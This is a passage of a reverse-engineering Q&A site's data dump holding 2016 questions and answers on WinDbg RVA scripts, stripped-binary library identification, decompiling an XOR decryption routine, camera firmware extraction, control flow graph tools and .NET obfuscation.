module list&#xA;start    end        module name&#xA;15c70000 16b53000   NPSWF32    (export symbols)     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And calculate the RVA myself:&#xA;&lt;code&gt;1623791d - 15c70000 = 5C791D&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question, is there a windbg command that will give me this result immediately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="17202" LastEditorUserId="17202" LastEditDate="2016-09-01T09:29:29.277" LastActivityDate="2016-09-02T07:47:41.743" Title="WinDbg - RVA of current instruction" Tags="|disassembly|windows|debugging|debuggers|windbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13406" PostTypeId="2" ParentId="13405" CreationDate="2016-09-01T13:07:16.947" Score="3" Body="&lt;p&gt;put this is some txt file and save it somewhere like &lt;strong&gt;c:\myrva.txt&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.foreach ( place { lm1ma ${$arg1} } ){ .printf &quot;Rva for input is %x\n&quot;, ${$arg1}-${place} }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and use it like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; $$&amp;gt;a&amp;lt; c:\\rva.txt @edx&#xA;Rva for input is 470b4&#xA;0:000&amp;gt; ? edx&#xA;Evaluate expression: 1997238452 = 770b70b4&#xA;0:000&amp;gt; $$&amp;gt;a&amp;lt; c:\\rva.txt .&#xA;Rva for input is a04fa&#xA;0:000&amp;gt; ? .&#xA;Evaluate expression: 1997604090 = 771104fa&#xA;0:000&amp;gt; $$&amp;gt;a&amp;lt; c:\\rva.txt 7711050a&#xA;Rva for input is a050a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Well if you think this should be a regular windbg command you can write your own extension&lt;br&gt;&#xA;and do !rva &lt;br&gt;&#xA;with engextcpp framework this should take no more than 5 lines of code as below &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;engextcpp.cpp&amp;gt;&#xA;class EXT_CLASS : public ExtExtension {&#xA;public:&#xA;    EXT_COMMAND_METHOD(rva);&#xA;};&#xA;EXT_DECLARE_GLOBALS();&#xA;EXT_COMMAND( rva, &quot;rva&quot;, &quot;{;e,d=@$ip;!rva;}&quot; ) {&#xA;    ULONG64 inaddr = GetUnnamedArgU64 (0);&#xA;    ULONG ModIndex = NULL;&#xA;    ULONG64 Modbase = NULL;&#xA;    m_Symbols-&amp;gt;GetModuleByOffset(inaddr,0,&amp;amp;ModIndex,&amp;amp;Modbase);&#xA;    Out(&quot;Rva For Inaddress %I64x is %I64X\n&quot; ,inaddr ,(inaddr - Modbase));    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled and linked with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cl /LD /nologo /W4 /Ox  /Zi /EHsc rva.cpp /link /EXPORT:DebugExtensionInitialize /Export:rva /Export:help /RELEASE %linklibs%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and execute happily it takes one argument an expression and by default the expression is current instruction pointer viz $ip &lt;/p&gt;&#xA;&#xA;&lt;p&gt;extension auto loaded during start of session&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;windbg -c &quot;.load rva&quot; calc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and happy rvaing for ever&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; !rva&#xA;Rva For Inaddress 776e04f6 is A04F6&#xA;0:000&amp;gt; !rva @edx&#xA;Rva For Inaddress 776870b4 is 470B4&#xA;0:000&amp;gt; !rva ntdll&#xA;Rva For Inaddress 77640000 is 0&#xA;0:000&amp;gt; !rva calc&#xA;Rva For Inaddress 440000 is 0&#xA;0:000&amp;gt; !rva calc!WinMain&#xA;Rva For Inaddress 441635 is 1635&#xA;&#xA;even some obscure unrealistic expression will work&#xA;0:000&amp;gt; !rva @@c++( ( @$proc )-&amp;gt;Ldr)&#xA;Rva For Inaddress 77717880 is D7880&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2016-09-02T07:47:41.743" LastActivityDate="2016-09-02T07:47:41.743" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13408" PostTypeId="1" AcceptedAnswerId="13416" CreationDate="2016-09-01T23:09:10.903" Score="0" ViewCount="3929" Body="&lt;p&gt;Recently I worked on a Linux program which has all of its symbols stripped. Opening it with IDA resulted in none of its functions identified. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus I tried to extract any usable information from the executable file with the &lt;code&gt;strings&lt;/code&gt; and &lt;code&gt;file&lt;/code&gt; commands, but these sadly found nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know about the FLIRT technology in IDA, but it is based on knowing the version of the static library so it can use the correct signature file. In this case it seems we have no any version information for the used &lt;code&gt;glibc&lt;/code&gt; or other libraries, so what should we do now?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ file stripped&#xA;ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the outpuf of &lt;code&gt;file&lt;/code&gt; as shown above, can I retrieve more details from this? Or is the solution that we can only recognize it via our experience?&lt;/p&gt;&#xA;" OwnerUserId="17317" LastEditorUserId="-1" LastEditDate="2017-11-05T06:07:41.570" LastActivityDate="2017-11-23T09:19:28.157" Title="Recognize the library functions of statically linked executable file in IDA Pro" Tags="|binary-analysis|malware|linux|elf|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13409" PostTypeId="1" AcceptedAnswerId="13429" CreationDate="2016-09-01T23:09:12.457" Score="2" ViewCount="3166" Body="&lt;p&gt;It's been 4 nights I'm struggling decompiling this one. It's an Android native library that I ran through IDA to get C code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Java signature :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;byte[] resultArray = new byte[-2 + dataArray.length];&#xA;dataLength= dataArray.length;&#xA;decryptData(byte[] resultArray, byte[] dataArray, int dataLength, int enumValue /* in our case should be 01 */, long paramLong /* dunno */)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The disassembly in C :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//----- (00001354) --------------------------------------------------------&#xA;int __fastcall doXor(int result, int a2, int a3, int a4, int a5, int a6, char a7)&#xA;{&#xA;  int v7; // r5@1&#xA;  int v8; // r6@1&#xA;  int v9; // r7@1&#xA;  int v10; // r1@1&#xA;  char v11; // lr@3&#xA;  char v12; // t1@3&#xA;  char v13; // t1@3&#xA;&#xA;  v7 = a2 - 1;&#xA;  v8 = a3 - 1;&#xA;  v9 = result - 1;&#xA;  v10 = a2 + a5 - 1;&#xA;  while ( v7 != v10 )&#xA;  {&#xA;    v12 = *(_BYTE *)(v7++ + 1);&#xA;    v11 = v12;&#xA;    v13 = *(_BYTE *)(v8++ + 1);&#xA;    *(_BYTE *)(v9++ + 1) = v11 ^ v13;&#xA;  } // ====== so far this one just does a xor in the full array&#xA;  //   ===&amp;gt;what does this one do?&#xA;  *(_BYTE *)(result + a5) = *(_BYTE *)(a3 + a5) ^ a7;&#xA;&#xA;  return result;&#xA;}&#xA;&#xA;//----- (00001384) --------------------------------------------------------&#xA;int getNumber()&#xA;{&#xA;  __int32 v0; // r0@1&#xA;&#xA;  v0 = time(0);&#xA;  srand48(v0);&#xA;  return (unsigned __int8)lrand48();&#xA;}&#xA;&#xA;//----- (00001398) --------------------------------------------------------&#xA;int __fastcall getKey(void *a1, unsigned int a2, unsigned __int8 a3, int a4, char a5)&#xA;{&#xA;  void *v5; // r8@1&#xA;  unsigned int v6; // r7@1&#xA;  unsigned int v7; // r10@1&#xA;  void *v8; // r5@1&#xA;  __int64 v9; // r0@1&#xA;  signed int v10; // r6@1&#xA;  __int64 v12; // [sp+8h] [bp-30h]@1&#xA;  int v13; // [sp+14h] [bp-24h]@1&#xA;&#xA;  v5 = a1;&#xA;  v6 = a2;&#xA;  v7 = a2 &amp;gt;&amp;gt; 3;&#xA;  v8 = a1;&#xA;  v13 = _stack_chk_guard; //a stack guard&#xA;  LODWORD(v9) = crc64(a3, (int)&amp;amp;a5, _stack_chk_guard, 8);&#xA;  v10 = 0;&#xA;  v12 = v9;&#xA;  do&#xA;  {&#xA;    ++v10;&#xA;    if ( 8 * v10 &amp;gt; v6 )&#xA;    {&#xA;      if ( v6 &amp;gt;= 8 * v10 - 8 )&#xA;        LODWORD(v9) = memcpy(v8, &amp;amp;v12, (size_t)((char *)v5 + v6 - (_DWORD)v8));&#xA;    }&#xA;    else&#xA;    {&#xA;      v9 = v12;&#xA;      *(_QWORD *)v8 = v12;&#xA;    }&#xA;    v8 = (char *)v8 + 8;&#xA;  }while ( v10 &amp;lt;= (signed int)v7 );&#xA;  if ( v13 != _stack_chk_guard )&#xA;    _stack_chk_fail(v9);&#xA;  return v9;&#xA;}&#xA;&#xA;&#xA;//----- (000014E4) --------------------------------------------------------&#xA;signed int __fastcall decryptData(void *a1, unsigned int *a2, int a3, int a4, __int64 a5)&#xA;{&#xA;  int v5; // r4@1&#xA;  void *v6; // r11@1&#xA;  unsigned int *v7; // r10@1&#xA;  unsigned int v8; // r7@3&#xA;  int v9; // r9@3&#xA;  int v10; // ST10_4@3&#xA;  void *v11; // r8@3&#xA;  const void *v12; // r5@3&#xA;  int v13; // r6@3&#xA;  signed int result; // r0@5&#xA;&#xA;  v5 = a3;&#xA;  v6 = a1;&#xA;  v7 = a2;&#xA;  if ( check == 1 )&#xA;  {&#xA;    if ( a5 )&#xA;    {&#xA;      result = 0;&#xA;    }&#xA;    else&#xA;    {&#xA;      v8 = *(_BYTE *)a2;&#xA;      v9 = a4 + v8;&#xA;      v10 = *((_BYTE *)a2 + a3 - 1);&#xA;      v11 = malloc(a3 - 1);&#xA;      v12 = malloc(v5 - 1);&#xA;      getKey(v11, (unsigned __int16)(v5 - 1), v9, (2596069104u * (unsigned __int64)v8 &amp;gt;&amp;gt; 32) + 305419896 * v8, -16 * v8);&#xA;      v13 = v5 - 2;&#xA;      doXor((int)v12, (int)((char *)v7 + 1), (int)v11, v10, v13, (unsigned __int64)v13 &amp;gt;&amp;gt; 32, v10);&#xA;      memcpy(v6, v12, v5 - 2);&#xA;      if ( *((char *)v12 + v5 - 2) != v9 )&#xA;        v13 = 0;&#xA;      if ( v11 )&#xA;        free(v11);&#xA;      free((void *)v12);&#xA;      result = v13;&#xA;    }&#xA;  }&#xA;  else&#xA;  {&#xA;    result = -1;&#xA;  }&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have the implementation of crc64.&#xA;What I fail to understand is where does it get the seed from the data array for the getKey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure, I think it stores in the last 2 bytes the key that is used to generated the bigger key for xor. Please help, I'm really struggling and my C skills are a rusty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a set of data :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$type = &quot;01&quot;;&#xA;$length = &quot;37&quot;;&#xA;$data=&quot;ea8bf72287a0af8aa65edf259a43&quot;.&#xA;&quot;e1d8a67f71bce448273199848e401b33&quot;.&#xA;&quot;da379966a12ce4442e31991b71bde449&quot;.&#xA;&quot;39bb907d71bce448cc&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Normally, first 8 bytes gives the latitude and second longitude which in this case is :&#xA;&lt;code&gt;f8869e63e888bb3f29ae997e0bc6e93f&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically I assume we can expect this to be the coded version :&#xA;&lt;code&gt;ea8bf72287a0af8aa65edf259a43e1d8&lt;/code&gt;&#xA;The inverse of xor is a xor so after xor it gives :&#xA;&lt;code&gt;120d69416f2814b58ff0465b918508e7&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which &lt;em&gt;hypothetically&lt;/em&gt; is our partial xor key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now questions :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;what is the length of the seed stored in data?&lt;/li&gt;&#xA;&lt;li&gt;how the xor key is computed?&lt;/li&gt;&#xA;&lt;li&gt;are we sure about latitude/longitude position in data?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want to help outside stack and discuss this please contact me.&#xA;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="17220" LastEditorUserId="2147" LastEditDate="2016-09-06T18:26:29.573" LastActivityDate="2016-09-06T18:26:29.573" Title="Help me reverse this" Tags="|decompilation|c|decryption|xor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13410" PostTypeId="1" CreationDate="2016-09-02T00:06:35.223" Score="0" ViewCount="12321" Body="&lt;p&gt;I bought a Camera (Lumix GM5), but I can't change the language of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easy way is to send it back to Amazon, but I want to try to change it&#xA;by modifying the firmware before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I used &lt;code&gt;binwalk&lt;/code&gt; to analyze the firmware: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@ec5b1dd5bce3:~# binwalk GM5__V11.bin &#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;6789427       0x679933        MySQL MISAM compressed data file Version 9&#xA;30718920      0x1D4BBC8       MySQL ISAM index file Version 1&#xA;31869478      0x1E64A26       ZBOOT firmware header, header size: 32 &#xA;bytes, load address: 0x29F4F830, start address: 0x9692295D, checksum: 0x11837327, version: 0xB1437316, image size: 1837825596 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I see that there is &lt;code&gt;misam&lt;/code&gt; compressed data.&#xA;Maybe I can change the language here, maybe not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to exract it with binwalk again I did :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[root@ec5b1dd5bce3:~/_GM5__V11.bin.extracted# binwalk -D '.sql:myd:myisamchk' GM5__V11.bin &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which give me two files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;binwalk 679933.myd &#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;0             0x0             MySQL MISAM compressed data file Version 9&#xA;23929493      0x16D2295       MySQL ISAM index file Version 1&#xA;25080051      0x17EB0F3       ZBOOT firmware header, header size: 32 bytes, load address: 0x29F4F830, start address: 0x9692295D, checksum: 0x11837327, version: 0xB1437316, image size: 1837825596 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[root@ec5b1dd5bce3:~/_GM5__V11.bin.extracted# binwalk 1D4BBC8.myd &#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;0             0x0             MySQL ISAM index file Version 1&#xA;1150558       0x118E5E        ZBOOT firmware header, header size: 32 bytes, load address: 0x29F4F830, start address: 0x9692295D, checksum: 0x11837327, version: 0xB1437316, image size: 1837825596 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But now when I try to use &lt;code&gt;myisamchk&lt;/code&gt; on my new files it failed :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@ec5b1dd5bce3:~/_GM5__V11.bin.extracted# myisamchk 679933.myd &#xA;myisamchk: error: '679933.myd' is not a MyISAM-table&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I guess it's because I still have the &quot;ZBOOT firmware header&quot; in my &lt;strong&gt;.myd&lt;/strong&gt; files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I was wondering, what is the proper way to extract only specific &quot;signatures&quot; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="17318" LastEditorUserId="12325" LastEditDate="2016-09-02T15:34:00.727" LastActivityDate="2017-03-16T18:19:58.467" Title="Extract firmware of my camera (Lumix MG5)" Tags="|binary-analysis|firmware|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13411" PostTypeId="1" AcceptedAnswerId="13412" CreationDate="2016-09-02T06:46:08.380" Score="10" ViewCount="3836" Body="&lt;p&gt;I'm looking for projects providing reconstructed Control Flow Graphs from binaries while supporting more than one platform (e.g. x86, x64, arm). For example, considering this short assembler program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.global main&#xA;.intel_syntax noprefix&#xA;&#xA;.extern getchar&#xA;.extern printf&#xA;&#xA;.section .data&#xA;jmpTable:&#xA;    .long _stub0&#xA;    .long _stub1&#xA;    .long _stub2&#xA;fmt: .asciz &quot;%x\n&quot;&#xA;&#xA;&#xA;.section .text&#xA;&#xA;main:&#xA;    call getchar&#xA;    mov dl, 4&#xA;    imul dl&#xA;    add eax, offset jmpTable&#xA;    jmp [eax]&#xA;    .long 3851&#xA;_stub0:&#xA;    mov eax, 0&#xA;    jmp end&#xA;    .long 3851&#xA;_stub1:&#xA;    mov eax, 1&#xA;    jmp end&#xA;    .long 3851&#xA;_stub2:&#xA;    mov eax, 2&#xA;    jmp end&#xA;    .long 3851&#xA;end:&#xA;    push eax&#xA;    push offset fmt&#xA;    call printf&#xA;    add esp, 8&#xA;    ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Projects I've considered:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;IDA (best so far, extraction painful)&lt;/li&gt;&#xA;&lt;li&gt;BARF (naive, limited approach)&lt;/li&gt;&#xA;&lt;li&gt;Angr (breaks easily or computes forever)&lt;/li&gt;&#xA;&lt;li&gt;Radare2 (is there any api to export cfg data?)&lt;/li&gt;&#xA;&lt;li&gt;JakStab (limited to x86)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;rather obvious choice, still, exporting a interprocedural CFG is still a pain. Also, although it is able to find all basic blocks of this example, it misses all indirect edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The projects should offer come kind of API to provide the cfg. I know solving this problem with static-analysis alone may be infeasible. I'm looking for a best-effort approach.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2022-06-17T08:15:33.433" Title="Control flow graph reconstruction projects" Tags="|disassembly|binary-analysis|static-analysis|control-flow-graph|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13412" PostTypeId="2" ParentId="13411" CreationDate="2016-09-02T07:28:25.000" Score="7" Body="&lt;p&gt;For now, the most efficient approaches in practice seems to follow the principle of &lt;a href=&quot;https://en.wikipedia.org/wiki/Symbolic_execution&quot; rel=&quot;nofollow noreferrer&quot;&gt;symbolic execution&lt;/a&gt;. This technique, originally developed to automatically build-up a set of test cases based on a given source code, has been recently used in binary analysis to discover and (partially) recover the CFG of the analyzed binary program.&lt;/p&gt;&#xA;&lt;p&gt;Most of the time, if you want to deal with several assembly languages, you need to use an intermediate representation for the programs. For now, there have been a lot of these generic models and none did really got the supremacy over the others. Yet, the most populars seems to be the intermediate representation of LLVM (many tools use it), the second most popular seems to be VEX, the intermediate representation used in Valgrind (as used in Angr). The one from QEMU or the language RREIL might also be an option, but they are less commonly used. But, most of the projects come with their own intermediate representation.&lt;/p&gt;&#xA;&lt;p&gt;Then, what you need to build up a CFG-recovery program based on symbolic execution are the following modules:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Loader&lt;/strong&gt;: This module is in charge to take your binary program (it may be an executable or a library) and simulate the work of the native loader to build a realistic memory image of what you get after the loading process has been achieved.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Decoder&lt;/strong&gt;: This module is in charge of translating the native hexadecimal opcodes encountered while symbolically executing the program into some mnemonics or simplified instructions (the Capstone library is usually perfect for that).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Lifter&lt;/strong&gt;: It is in charge of &lt;em&gt;lifting&lt;/em&gt; the result of the decoder into your own intermediate representation which hold the semantics of the execution path. It might be expressed in a different format (&lt;em&gt;eg&lt;/em&gt; SMT-LIB fomula). It is a quite lengthy (and painful) piece of code to implement! So, be prepared to suffer while doing this.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Symbolic execution engine&lt;/strong&gt;: Usually based on an SMT-solver using the logic QF_AUFBV (Quantifier Free / Arrays / Uninterpreted Function / Bitvectors), the symbolic execution engine can really be a performance bottleneck if you code it naively because the recovery of the CFG will use it a lot. Here, having a good formula simplification (or slicing) module is really the key.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Apart from these modules, you might also improve your tools by adding more advanced analysis and start coding an abstract interpretation framework that can be added on the top of your intermediate representation, just to have chance to unveil some parts of the CFG that cannot be discovered just through the power of the SMT-solvers.&lt;/p&gt;&#xA;&lt;p&gt;Also, performance is really the key to make your tools really usable. So, be able to capture the exact scope of a variable or the ability to detect a function or a module/object in the binary code helps a lot to reduce the size of the code you have to consider at once.&lt;/p&gt;&#xA;&lt;p&gt;Now, I could give you a lot of pointers and articles about this topic, but I lack a bit of time. I might come back to finish writing an extensive list later on, but the general idea has been, hopefully, given above. Hope this might help you.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2022-06-17T08:15:33.433" LastActivityDate="2022-06-17T08:15:33.433" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="13413" PostTypeId="1" CreationDate="2016-09-02T08:24:18.137" Score="1" ViewCount="1424" Body="&lt;p&gt;From what I understand about .NET code, it is first compiled to Microsoft Common Intermediate Language (MSIL) before being translated to machine code at runtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whereas C++ code is compiled directly to machine code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So reverse engineering .NET DLLs is a lot easier than reverse engineering C++ DLL because of the rich metadata that MSIL has. However, if I obfuscate my .NET code with the best possible .NET obfuscation tools, can I get the kind of decompilation protection that C++ DLLs offer? Why?&lt;/p&gt;&#xA;" OwnerUserId="2676" LastEditorUserId="16608" LastEditDate="2016-09-03T07:14:11.730" LastActivityDate="2016-09-03T07:14:11.730" Title="Are .NET DLLs, even the best obfuscated ones, less secure than C++ DLLs?" Tags="|decompilation|deobfuscation|.net|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13414" PostTypeId="2" ParentId="13413" CreationDate="2016-09-02T09:14:21.240" Score="1" Body="&lt;p&gt;C++ code is most likely translated to assembly and then translated to machine code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.net code is compiled to Bytecode which is executed in a virtual environment&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wikipedia provides a good overview of current .net obfuscators and the techniques they apply: &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_obfuscators_for_.NET&quot; rel=&quot;nofollow&quot;&gt;Wikipedia: List of obfuscators for .NET&lt;/a&gt; All of these techniques offer a huge increase in secrecy, but can not hope to reach the security offered by packed / obfuscated binaries (see recent malware packing / obfuscation)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, 'standard' C++ libraries are not obfuscated, i.e. they don't have a &lt;em&gt;decompilation protection&lt;/em&gt;. Most problems emerging while reverse engineering them originate from compiler optimization techniques. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;.Net binaries contains semantic information. Machine code has no concept for 'strings' or variable types other than x-byte-sized fields. That being said, the obfuscation offered by the frameworks on the wikipedia page should be more than sufficient for most scenarios.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2016-09-02T09:14:21.240" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13415" PostTypeId="2" ParentId="13226" CreationDate="2016-09-02T12:31:13.230" Score="1" Body="&lt;p&gt;i got the answer after spending some time by going each and evry call.i got the address of TLS callback address in the range 400000.Basically the file is using relocation,that's why it is showing address at 0012FA20. Remove Relocatable option using CFF explorer.and we can reach upto TLS callback address.&#xA;It is also can be seen by using command &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;ALT+M&lt;/strong&gt; in ollydbg.so that we can see at what memory address PE section is mapped.&#xA;  Thanks All&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="15305" LastActivityDate="2016-09-02T12:31:13.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13416" PostTypeId="2" ParentId="13408" CreationDate="2016-09-02T18:36:33.417" Score="3" Body="&lt;p&gt;Short answer - No, there's no easy way to identity statically linked functions within an executable, other than manually reverse engineering the APIs or finding out which version if glibc exactly was used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, using FLIRT might not prove useful even after you identify the exact glibc version. This is because actual instructions will be altered in the statically linking process. Some functions might be inlined if used rarely or are relatively short, for example. Advanced optimizations might make matter worse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, You could rather easily find &lt;code&gt;SYSENTER&lt;/code&gt; (or &lt;code&gt;int 0x80&lt;/code&gt; if using older versions of glibc/linux) instructions and map those to kernel callbacks. Obviously, a lot of API functionality is implemented without ever accessing the kernel, and that you'll need to work harder to recover. It is a possibility (depends on the linker's configuration when compiling the executable) that other glibc functions will be adjacent memory-wise, so finding a few statically linked APIs could help you recover others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last point of advice I could give you is to rename all functions you've identified as part of glibc appropriately, even without actually identifying their functionality, &lt;code&gt;glibcsub_*&lt;/code&gt; or a similar easily recognizable pattern. I think you'll find this useful.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-09-02T18:36:33.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13417" PostTypeId="2" ParentId="13400" CreationDate="2016-09-02T18:59:08.117" Score="3" Body="&lt;p&gt;Since RTF is a mostly textual file format, noticing plaintext strings in it is not unheard of, and shouldn't be treated as cause for suspicion. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;otkloadr.dll&lt;/code&gt; is a library used for Visual Studio / office integration, as part of a package called &quot;Microsoft Visual Studio Tools for the Microsoft Office System&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That package is used to incorporate Visual Studio components inside Office documents (such as rtf files), and to generate/manipulate Office files programmatically from within Microsoft development environments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be used in an rtf document generated automatically directly by Microsoft-provided development tools or by a third party tool using Microsoft's office integration library (most third party office related manipulation tools are using this internally, and usually simply provide a different interface, probably in a different programming language).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might also be used in an rtf using one of the advanced features &quot;Microsoft Visual Studio Tools for the Microsoft Office System&quot; brought into Office, or was converted from a newer format that did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inspecting the file format is needed to reach these conclusions with a higher degree of certainty. Since RTF is as mentioned a textual format this shouldn't be too complicated. Additionally, googling for &lt;a href=&quot;https://www.google.co.il/search?q=rtf%20file%20parser&quot; rel=&quot;nofollow&quot;&gt;RTF file parser&lt;/a&gt; yields multiple promising results.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-09-02T18:59:08.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13419" PostTypeId="2" ParentId="13383" CreationDate="2016-09-02T19:56:41.430" Score="8" Body="&lt;p&gt;I can think of two methods to achieve this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Using &lt;code&gt;RunTo&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Setting a breakpoint, hooking debugger events and implementing &lt;code&gt;dbg_bpt&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;1. Using &lt;code&gt;RunTo&lt;/code&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This is nearly trivial to do, but does not give the same amount of control as the second approach. It might be better for quick and dirty type of solutions, if that's what you're after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Calling &lt;code&gt;idc.RunTo(ea)&lt;/code&gt; will execute the process until an &lt;code&gt;ea&lt;/code&gt; is reached, allowing you to then call &lt;code&gt;idc.GetRegValue(name)&lt;/code&gt; to get the value of &lt;code&gt;EAX&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Certain conditions (like an exception thrown or a different breakpoint being hit) will cause 